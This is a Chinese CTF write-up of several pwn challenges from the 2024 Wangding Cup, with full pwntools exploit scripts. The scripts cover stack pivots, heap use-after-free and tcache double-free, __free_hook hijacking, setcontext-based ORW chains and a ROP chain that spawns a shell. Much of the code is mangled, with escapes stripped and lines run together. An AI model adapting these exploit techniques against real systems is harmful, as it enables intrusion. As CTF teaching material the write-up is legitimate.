2024年网鼎杯初赛和半决赛部分题解--PWN

admin 2025年1月1日22:38:38评论16 views字数 15805阅读52分41秒阅读模式

2024年网鼎杯青龙组--PWN01

开始有一个登录的函数,然后只要拿到用户名和密码就可以进入2024年网鼎杯初赛和半决赛部分题解--PWN

vuln函数存在两个字节的溢出,还将buf的地址给泄露出来了

2024年网鼎杯初赛和半决赛部分题解--PWN

还有给了我们后门函数和/bin/sh字符串

2024年网鼎杯初赛和半决赛部分题解--PWN
2024年网鼎杯初赛和半决赛部分题解--PWN
完整exp
from pwn import *elf = ELF("./short")context(arch=elf.arch, os=elf.os)context.log_level = 'debug'# libc = ELF('./libc.so.6')flag=0url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'port=45740if flag:    p = process(elf.path)else:    p = remote(url,port)sa = lambda x,y:p.sendafter(x,y)sla = lambda x,y:p.sendlineafter(x,y)it = lambda : p.interactive()uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))ru = lambda x :p.recvuntil(x)rc = lambda x :p.recv(x)sd = lambda x:p.send(x)sl = lambda x:p.sendline(x)lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))
sla('Enter your username: ','admin')sla('Enter your password: ','admin123')leave_ret=0x08048555 #: leave ; retbss=elf.bss(0x300)read=0x0804865Aebp=0x0804884b #: pop ebp ; retru('You will input this: ')stack=int(rc(10),16)lg('stack')pay=p32(0x080484A0)+p32(0x0804A038)*2pay=pay.ljust(0x50,'x00')+p32(stack)+p32(0x080485FA)# gdb.attach(p,'b *0x08048674nc')# pause()sa('your msg:n',pay)# pay='shx00x00'*20+p32(0x080485FA)+p32(read)# sd(pay)# pay=it()

2024年网鼎杯青龙组--PWN04

代码审计,发现有一个用户名和密码的验证

2024年网鼎杯初赛和半决赛部分题解--PWN2024年网鼎杯初赛和半决赛部分题解--PWN

发现他是在本地去读取的,所以我们需要爆破用户名和密码,然后我们进入判断函数,发现他是一个一个字符判断的,如果发现字符不一样,我们可以由此当判断依据,爆破用户名

2024年网鼎杯初赛和半决赛部分题解--PWN2024年网鼎杯初赛和半决赛部分题解--PWN

爆破脚本,爆破密码也是同理

password=''chars=[' ''!''"''#''$''%''&', "'", '('')''*''+'',''-''.''/''0''1''2''3''4''5''6''7''8''9'':'';''<''=''>''?''@''A''B''C''D''E''F''G''H''I''J''K''L''M''N''O''P''Q''R''S''T''U''V''W''X''Y''Z']#chars=['[''\'']''^''_''`''a''b''c''d''e''f''g''h''i''j''k''l''m''n''o''p''q''r''s''t''u''v''w''x''y''z''{''|''}''~']for char in chars:    try:        pay = password+char        p.sendlineafter(b'ur username:', "4dm1n")        p.sendlineafter('password:', pay+'x00')        res = p.recvuntil('Invalid password length!', timeout=1)        if 'Invalid password length!' in res:            info('正确的字符:' + char)            password+=char            break        elif 'Password correct!' in res:            print('正确的username:' + password)    except:        pass

后边就是一个菜单题了,我们继续看

2024年网鼎杯初赛和半决赛部分题解--PWN

我们进入第一个函数,发现是一个添加堆块的函数,限制了只能申请0xf个堆块,大小要小于0x300,但是他会对我们输入的数据进行加密2024年网鼎杯初赛和半决赛部分题解--PWN

我们进入加密函数,发现是一个 RC4 算法(ai告诉我的),我们直接用ai给我什么解密脚本,发现的加密算法就是解密算法

2024年网鼎杯初赛和半决赛部分题解--PWN2024年网鼎杯初赛和半决赛部分题解--PWN

解密算法

def ksa(key):    state = list(range(256))    j = 0    for i in range(256):        j = (j + state[i] + ord(key[i % len(key)])) % 256        state[i], state[j] = state[j], state[i]    return state
def prga(state, length):    i = j = 0    keystream = []    for _ in range(length):        i = (i + 1) % 256        j = (j + state[i]) % 256        state[i], state[j] = state[j], state[i]        t = (state[i] + state[j]) % 256        keystream.append(state[t])    return keystream
def rc4_decrypt(key, ciphertext):    state = ksa(key)    keystream = prga(state, len(ciphertext))    plaintext = []    for c, k in zip(ciphertext, keystream):        plaintext.append(chr(ord(c) ^ k))    return ''.join(plaintext)

进入第二函数,是一个打印函数,但是会给我打印出来的东西进行加密2024年网鼎杯初赛和半决赛部分题解--PWN

第三个函数,是一个free函数,存在uaf漏洞,会对我们free的内容进行加密

2024年网鼎杯初赛和半决赛部分题解--PWN

第四个函数edit函数,同样会机密我们的内容

2024年网鼎杯初赛和半决赛部分题解--PWN

并且还开了沙箱,但是libc是2.27,所以我们直接用setcontext+53进行orw的编写

2024年网鼎杯初赛和半决赛部分题解--PWN

利用思路:

1、首先通过申请7个堆块,填满teacher bin,然后在申请一个,free掉进入unsortbin,泄露libc

2、,然后就通过uaf劫持free_hook为setcontext+53,进行orw的编写

首先我们泄露libc,由于我们打印的数据是加密的,所以我们要接受所有的数据进行解密,然后拿到libc的地址,然后我们再通过之前的free掉的堆块泄露,heap的地址

for i in range(8):    add(i,0x100,rc4_decrypt(key,'Halo'))add(8,0x270,rc4_decrypt(key,'Halo2'))for i in range(8):    delete(i)show(7)ru('[7,')libc.address=u64(rc4_decrypt(key,ru(']')[:-1])[0:7].ljust(8,'x00'))-0x3ebca0lg('libc.address')ru('[2,')heap=u64(rc4_decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'x00'))-0x1720-0x60lg('heap')

劫持free_hook为setcontext+53,由于我们之前就free掉了很多堆块,我们直接找到6个堆块改为free_hook,就可劫持了

edit(6,rc4_decrypt(key,p64(libc.sym['__free_hook'])))add(1,0x100,rc4_decrypt(key,'aaa'))add(1,0x100,rc4_decrypt(key,p64(setcontext)))

最后就可以编写我们orw了,我们这里可以用pwntools提供的frame结构体来控制相应的结构体

0x7f4b45a35a75 <setcontext+53> mov rsp,qword ptr [rdi Oxa0]0x7f4b45a35a7c <setcontext+60> mov rbx,qword ptr [rdi 0x80]0x7f4b45a35a83 <setcontext+67> mov rbp,qword ptr [rdi 0x78]0x7f4b45a35a87 <setcontext+71> mov r12,qword ptr [rdi 0x48]0x7f4b45a35a8b <setcontext+75> mov r13,qword ptr [rdi 0x50]0x7f4b45a35a8f <setcontext+79> mov r14,qword ptr [rdi 0x58]0x7f4b45a35a93 <setcontext+83> mov r15,qword ptr [rdi 0x60]0x7f4b45a35a97 <setcontext+87> mov rcx,qword ptr [rdi Oxa8]0x7f4b45a35a9e <setcontext+94> push rcx0x7f4b45a35a9f <setcontext+95> mov rsi,qword ptr [rdi +0x70]0x7f4b45a35aa3 <setcontext+99> mov rdx,qword ptr [rdi +0x88]0x7f4b45a35aaa <setcontext+106> mov rcx,qword ptr [rdi 0x98]0x7f4b45a35abl <setcontext+113> mov r8,qword ptr [rdi 0x28]0x7f4b45a35ab5 <setcontext+117> mov r9,qword ptr [rdi 0x30]0x7f4b45a35ab9 <setcontext+121> mov rdi,qword ptr [rdi 0x68]0x7f4b45a35abd <setcontext+125> xor eax,eax0x7f4b45a35abf <setcontext+127> ret
pop_rdi=0x000000000002164f+libc.address #: pop rdi ; retpop_rsi=0x0000000000023a6a + libc.address#: pop rsi ; retpop_rdx=0x0000000000001b96 +libc.address#: pop rdx ; retopen=libc.sym['open']read=libc.sym['read']puts=libc.sym['puts']setcontext=libc.sym['setcontext']+53orw_addr=heap+0x2170frame=SigreturnFrame()frame.rsp=orw_addrframe.rip=libc.sym['open']frame.rdi=orw_addr+0x50frame.rsi=0orw=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)+'./flagx00x00'

由于我们劫持的rsp为orw的地址,但是当他push rcx的时候会将rsp-0x8地方修改,所以我们没法将"./flagx00x00"写在开头

2024年网鼎杯初赛和半决赛部分题解--PWN2024年网鼎杯初赛和半决赛部分题解--PWN

而且还有一个问题就是,当我想在填两个pop rdi进行隔开的时候,就会没法将我们需要的内容填写完整,我猜测他的加密应该是有对齐吧(如有大神知道可以教教我)

frame=SigreturnFrame()frame.rsp=orw_addr+0x10frame.rip=libc.sym['open']frame.rdi=orw_addrframe.rsi=0orw='./flagx00x00'orw+=p64(pop_rdi)*2+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)

2024年网鼎杯初赛和半决赛部分题解--PWN

完整exp

from pwn import *elf = ELF("./pwn")context(arch=elf.arch, os=elf.os)context.log_level = 'debug'libc = ELF('./libc.so.6')flag=1url='0192d7817f6d7850a7a15b5220b5256a.qjpu.dg03.ciihw.cn'port=43268if flag:    p = process(elf.path)else:    p = remote(url,port)sa = lambda x,y:p.sendafter(x,y)sla = lambda x,y:p.sendlineafter(x,y)it = lambda : p.interactive()uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))ru = lambda x :p.recvuntil(x)rc = lambda x :p.recv(x)sd = lambda x:p.send(x)sl = lambda x:p.sendline(x)lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))sla('Input your username:''4dm1n')sla('Input your password:','985da4f8cb37zkj')def cmd(cmd):    sla('>',str(cmd))def add(key,size,msg):    cmd(1)    sla('Input the key:',str(key))    sla('value size:',str(size))    sla('the value: n',msg)def show(key):    cmd(2)    sla('Input the key:'str(key))def delete(key):    cmd(3)    sla('Input the key:'str(key))def edit(key,msg):    cmd(4)    sla('Input the key:'str(key))    sla('the value: n', msg)def ksa(key):    state = list(range(256))    j = 0    for i in range(256):        j = (j + state[i] + ord(key[i % len(key)])) % 256        state[i], state[j] = state[j], state[i]    return state
def prga(state, length):    i = j = 0    keystream = []    for _ in range(length):        i = (i + 1) % 256        j = (j + state[i]) % 256        state[i], state[j] = state[j], state[i]        t = (state[i] + state[j]) % 256        keystream.append(state[t])    return keystream
def rc4_decrypt(key, ciphertext):    state = ksa(key)    keystream = prga(state, len(ciphertext))    plaintext = []    for c, k in zip(ciphertext, keystream):        plaintext.append(chr(ord(c) ^ k))    return ''.join(plaintext)key='s4cur1ty_p4ssw0rd'data=rc4_decrypt(key,'aaaa')print datafor i in range(8):    add(i,0x100,rc4_decrypt(key,'Halo'))add(8,0x270,rc4_decrypt(key,'Halo2'))for i in range(8):    delete(i)show(7)ru('[7,')libc.address=u64(rc4_decrypt(key,ru(']')[:-1])[0:7].ljust(8,'x00'))-0x3ebca0lg('libc.address')show(2)ru('[2,')heap=u64(rc4_decrypt(key,p.recvuntil(b']')[:-1])[0:7].ljust(8,b'x00'))-0x1720-0x60lg('heap')pop_rdi=0x000000000002164f+libc.address #: pop rdi ; retpop_rsi=0x0000000000023a6a + libc.address#: pop rsi ; retpop_rdx=0x0000000000001b96 +libc.address#: pop rdx ; retopen=libc.sym['open']read=libc.sym['read']puts=libc.sym['puts']setcontext=libc.sym['setcontext']+53orw_addr=heap+0x2170frame=SigreturnFrame()frame.rsp=orw_addrframe.rip=libc.sym['open']frame.rdi=orw_addr+0x50frame.rsi=0orw=p64(pop_rdi)+p64(3)+p64(pop_rsi)+p64(orw_addr+0x100)+p64(pop_rdx)+p64(0x100)+p64(read)orw+=p64(pop_rdi)+p64(orw_addr+0x100)+p64(puts)+'./flagx00x00'add(10,0x150,rc4_decrypt(key,'aaa'))edit(6,rc4_decrypt(key,p64(libc.sym['__free_hook'])))add(1,0x100,rc4_decrypt(key,'aaa'))add(1,0x100,rc4_decrypt(key,p64(setcontext)))# gdb.attach(p, "b __libc_freenc")# pause()edit(10,rc4_decrypt(key,orw))edit(8,str(frame))delete(8)it()

2024年网鼎杯白虎组--PWN01    

1、分析伪代码,发现是一个菜单题

2024年网鼎杯初赛和半决赛部分题解--PWN

add函数,一个堆块的申请

2024年网鼎杯初赛和半决赛部分题解--PWN    

delet函数

2024年网鼎杯初赛和半决赛部分题解--PWN

edit函数就是漏洞点,他会在任意地址输入0xA2C2A,但是程序是一个64位,所以他会将这个数据填零不存,就是使得任意地址中的数末尾为零

2024年网鼎杯初赛和半决赛部分题解--PWN

show函数就是打印数据的

2024年网鼎杯初赛和半决赛部分题解--PWN

利用思路:

1、我们通过unsortbin的遗留的指针泄露libc和heap地址    

2、然后我们在将通过edit函数进行任意地址修改

泄露heap地址和libc地址

add(0x410)#0add(0x100)#1add(0x410)#2add(0x98)#3delet(0)delet(2)add(0x410,'a'*8)#4show(4)ru('a'*8)heap=u64(p.recvuntil(('x55','x56'))[-6:].ljust(8,'x00'))-0x7c0lg('heap')add(0x410)#5show(5)libc.address=uu64()-0x1ecb61lg('libc.address')            

然后我们在构建一个可以末尾抹零的地址,将free_hook链上

add(0x108,'a'*0x+p64(libc.sym['__free_hook']))#6add(0x100,'b')#7add(0x100,'c')#8add(0x100,'d')#9delet(6)delet(7)delet(8)

我们将a0改为00,这样我们就可以将free_hook申请出来了

2024年网鼎杯初赛和半决赛部分题解--PWN

通过edit修改     

edit(p64(heap+0xeb0-0x8+0x5))

2024年网鼎杯初赛和半决赛部分题解--PWN

然后我们就可以申请三次将free_hook申请出来然后将其修改为system函数

add(0x100)add(0x100)add(0x100,p64(libc.sym['system']))delet(1)

 

完整的exp

from pwn import *elf = ELF("./pwn")context(arch=elf.arch, os=elf.os)context.log_level = 'debug'libc = ELF('./libc-2.31.so')flag=1url='0192c683af7071c2b99b49b207151419.mn9x.dg07.wangdingcup.com'port=43003if flag:    p = process(elf.path)else:    p = remote(url,port)sa = lambda x,y:p.sendafter(x,y)sla = lambda x,y:p.sendlineafter(x,y)it = lambda : p.interactive()uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))ru = lambda x :p.recvuntil(x)rc = lambda x :p.recv(x)sd = lambda x:p.send(x)sl = lambda x:p.sendline(x)lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))def cmd(cmd):    sla('Input your choice',str(cmd))def add(size,msg='a'):    cmd(1)    sla('Size :',str(size))    sa('Content :n',msg)def delet(idx):    cmd(2)    sla('Index :',str(idx))def edit(msg='a'):    cmd(3)    sa('content :n',str(msg))def show(idx):    cmd(4)    sla('Index :'str(idx))add(0x410)#0add(0x100,'/bin/shx00')#1add(0x410)#2add(0x98)#3delet(0)delet(2)add(0x410,'a'*8)#4show(4)ru('a'*8)heap=u64(p.recvuntil(('x55','x56'))[-6:].ljust(8,'x00'))-0x7c0lg('heap')add(0x410)#5show(5)libc.address=uu64()-0x1ecb61lg('libc.address')add(0x108,'a'*0x70+p64(libc.sym['__free_hook']))#6add(0x100,'b')#7add(0x100,'c')#8add(0x100,'d')#9delet(6)delet(7)delet(8)edit(p64(heap+0xeb0-0x8+0x5))add(0x100)add(0x100)add(0x100,p64(libc.sym['system']))delet(1)# gdb.attach(p)it()

2024网鼎杯玄武组--PWN2[进程调试]

代码审计,我们发现了三个函数,并且去除了符号表

2024年网鼎杯初赛和半决赛部分题解--PWN

我们进入第一个函数,我们猜测是一个初始化的函数

2024年网鼎杯初赛和半决赛部分题解--PWN

进入第二函数,我们通过分析将函数名自己填上,发现他开了一个子进程去执行了read函数和puts函数,并且还是要等主进程结束后才会调用

2024年网鼎杯初赛和半决赛部分题解--PWN

查看第三个函数,发现使用输入的函数调用,但是没有任何的溢出或是其他漏洞,但是他会泄露一个地址,我们测试猜测他泄露的应该是一个canary的值

2024年网鼎杯初赛和半决赛部分题解--PWN

那我们就进入gdb调试,查看他的整个程序的调用过程,这里我们的得用到gdb中调试子进程的命令,然后在设置断点,主进程和子进程都要设置

set follow-fork-mode child(使程序进入子进程)set detach-on-fork [on|off]( on:断开调试follow-fork-mode调试的指定进程

2024年网鼎杯初赛和半决赛部分题解--PWN

然后我们直接调试,他会进入第三个函数,调用read函数,进行读入,然后我们在再进入子进程

info inferiors(查询正在调试的进程,gdb会为他们分配唯一的Num号,其中前面带’*'号的就是正在调试的进程)inferior (切换调试的进程为inferior num的进程处)

2024年网鼎杯初赛和半决赛部分题解--PWN

然后我们跟进调试会发现,当我们调用exit的时候会有一个判断然后进行跳转

2024年网鼎杯初赛和半决赛部分题解--PWN

跳转的判断值使我们之前输入的数值,我们直接发现1进行绕过

2024年网鼎杯初赛和半决赛部分题解--PWN

ru('gift: ')canary=int(rc(18),16)lg('canary')gdb.attach(p,'set follow-fork-mode childn set detach-on-fork offn b *0x401A30n b *0x401995nc')sla('leave your name',p64(1)*8)

2024年网鼎杯初赛和半决赛部分题解--PWN

然后我们就会发现一个隐藏的函数,我们直接通过地址在ida中进行搜索定位函数,查看函数的逻辑。

分析他会先执行完主进程,才会进入子进程,而且还是一直循环操作

2024年网鼎杯初赛和半决赛部分题解--PWN

我们查看汇编会发现,在执行完子进程的函数后会跳转跳转到一个新的函数,然后判断是个为11111111,如果相同这会调用40191A函数,然后在判断canary之后相等,最后到返回地址

2024年网鼎杯初赛和半决赛部分题解--PWN

我们直接通过gdb进行调试,我们通过测试,我们一次性发送我们需要的数据,才有可能覆盖到返回的地址

sa("once again?","c"*256+p32(0x11111111)*64+p64(canary)*4)

2024年网鼎杯初赛和半决赛部分题解--PWN

第二次进入子进程然后进行绕过就可以

sa("once again?",'a'*256+p32(0x11111111)*64+p64(canary)*4)

2024年网鼎杯初赛和半决赛部分题解--PWN

然后我们进行shellcode的编写,编写rop链进行getshell

#编写read函数,进行/bin/shx00的输入pay+=p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx_rbx)+p64(0x80)*2+p64(syscall)#编写execve 进行getshellpay+=p64(pop_rax)+p64(0x3b)+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)*2+p64(syscall)

完整的exp

#coding:utf-8from pwn import *elf = ELF("./pwn")context(arch=elf.arch, os=elf.os)context.log_level = 'debug'# libc = ELF('./libc.so.6')flag=1url=''port=if flag:    p = process(elf.path)else:    p = remote(url,port)sa = lambda x,y:p.sendafter(x,y)sla = lambda x,y:p.sendlineafter(x,y)it = lambda : p.interactive()uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))ru = lambda x :p.recvuntil(x)rc = lambda x :p.recv(x)sd = lambda x:p.send(x)sl = lambda x:p.sendline(x)lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))ru('gift: ')canary=int(rc(18),16)lg('canary')# gdb.attach(p,'set follow-fork-mode childn set detach-on-fork offn b *0x401A30n b *0x401995nc')# pause()sa('leave your name',p64(1)*8)sa('Wanna return?','1')syscall=0x000000000041ac26#: syscall; ret;pop_rax=0x0000000000450277 #: pop rax ; retpop_rdi=0x000000000040213f #: pop rdi ; retpop_rsi=0x000000000040a1ae #: pop rsi ; retpop_rdx_rbx=0x0000000000485feb #: pop rdx ; pop rbx ; retleave=0x000000000040192f #: leave ; retbss=elf.bss(0x300)pay='a'*256+p32(0x11111111)*64+p64(canary)*3#编写read函数,进行/bin/shx00的输入pay+=p64(pop_rax)+p64(0)+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(bss)+p64(pop_rdx_rbx)+p64(0x80)*2+p64(syscall)#编写execve 进行getshellpay+=p64(pop_rax)+p64(0x3b)+p64(pop_rdi)+p64(bss)+p64(pop_rsi)+p64(0)+p64(pop_rdx_rbx)+p64(0)*2+p64(syscall)sa("once again?",pay)sd('/bin/shx00')it()

2024网鼎杯半决赛pwn

码审计,根据题目的描述是模拟了一个扑克牌的洗牌机制

2024年网鼎杯初赛和半决赛部分题解--PWN

首先进入第一个函数,是一个洗牌初始化的函数,然后将结构体给定义出来

2024年网鼎杯初赛和半决赛部分题解--PWN

2024年网鼎杯初赛和半决赛部分题解--PWN

进入第二个函数,我们发现漏洞点realloc函数,因为我们申请的chunk大小是由我们自己定义的

2024年网鼎杯初赛和半决赛部分题解--PWN

这是我看到一位大神的解释,我感觉解释的很到位


realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果

size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf

realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)

malloc_usable_size(realloc_ptr) >= size, 这个时候会把多余的内存释放掉,并返回原来的指针

malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉


然后第三个选项就是调用一个结构体,我们通过gdb调入可以看到,就是将我们初始化生成的数据体给打印出来,可以用来泄露我们的libc的地址

2024年网鼎杯初赛和半决赛部分题解--PWN

2024年网鼎杯初赛和半决赛部分题解--PWN

后面两个函数感觉没有啥用,主要是我也没有看懂........

首先我通过申请一个大于0x410的chunk,然后通过realloc进行free,就可以将这个chunk放入unsortbin中,从而泄露libc的地址,然后我们也可以将malloc给消耗掉

2024年网鼎杯初赛和半决赛部分题解--PWN

2024年网鼎杯初赛和半决赛部分题解--PWN

然后我们将size的大小改为0,realloc的功能就会像free

2024年网鼎杯初赛和半决赛部分题解--PWN

2024年网鼎杯初赛和半决赛部分题解--PWN

之后我们就可以泄露libc了,我们调用第三个函数进行打印

cmd(3)ru('chara set:')libc.address=uu64()-0x3ebca0lg('libc.address')

2024年网鼎杯初赛和半决赛部分题解--PWN

然后我们要进行初始化不然我们没法再申请chunk了,因为main_aeran链上的是top_chunk地址,进入realloc函数中会发现,r12相加后会变成一个非法地址

2024年网鼎杯初赛和半决赛部分题解--PWN


2024年网鼎杯初赛和半决赛部分题解--PWN

然后我们重新获取一块数据体,然后就是构建teacher bin链,而且由于没有libc是2.27,对teache bin doublefree没有检查

set_info(10,'bbb')set_info(0)set_info(0)

2024年网鼎杯初赛和半决赛部分题解--PWN

然后我们就可以将free_hook给链上,这边一定要free两个chunk,不然后我们后面初始化的时候就可会把free_hook给申请掉,从而没法修改

card_set()set_info(10,'bbb')set_info(0)set_info(0)set_info(10,'a')set_info(5,p64(libc.sym['__free_hook']))

2024年网鼎杯初赛和半决赛部分题解--PWN

然后我们就可以将free_hook给申请出来给为system了,然后我们也可改为one_gadget

2024年网鼎杯初赛和半决赛部分题解--PWN


2024年网鼎杯初赛和半决赛部分题解--PWN

完整exp

from pwn import *elf = ELF("./cardmaster")context(arch=elf.arch, os=elf.os)context.log_level = 'debug'libc = ELF('./libc.so.6')flag=1url=''port=0if flag:    p = process(elf.path)else:    p = remote(url,port)sa = lambda x,y:p.sendafter(x,y)sla = lambda x,y:p.sendlineafter(x,y)it = lambda : p.interactive()uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))ru = lambda x :p.recvuntil(x)rc = lambda x :p.recv(x)sd = lambda x:p.send(x)sl = lambda x:p.sendline(x)lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))def cmd(idx):    sla('>> ',str(idx))def card_set():    cmd(1)def set_info(idx1,mag='1'):    cmd(2)    sla('count:',str(idx1))    sla('range 1 - ?',str(0))    sla('level:',str(1000))    if idx1 != 0:        sla('set:',mag)def get_info():    cmd(3)def shuffle():    cmd(4)set_info(0x110,'aaa')
set_info(0)cmd(3)ru('chara set:')libc.address=uu64()-0x3ebca0lg('libc.address')card_set()set_info(10,'bbb')set_info(0)set_info(0)set_info(10,'a')set_info(5,p64(libc.sym['__free_hook']))card_set()one_gadget=[0x4f2be,0x4f2c5,0x4f322,0x10a38c][2]+libc.address# set_info(10,p64(one_gadget))# set_info(0)set_info(10,p64(libc.sym['system']))card_set()set_info(10,'/bin/shx00')set_info(0)# gdb.attach(p)it()


原文始发于微信公众号(Undefin3d安全团队):2024年网鼎杯初赛和半决赛部分题解--PWN

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月1日22:38:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   2024年网鼎杯初赛和半决赛部分题解--PWNhttps://cn-sec.com/archives/3571412.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息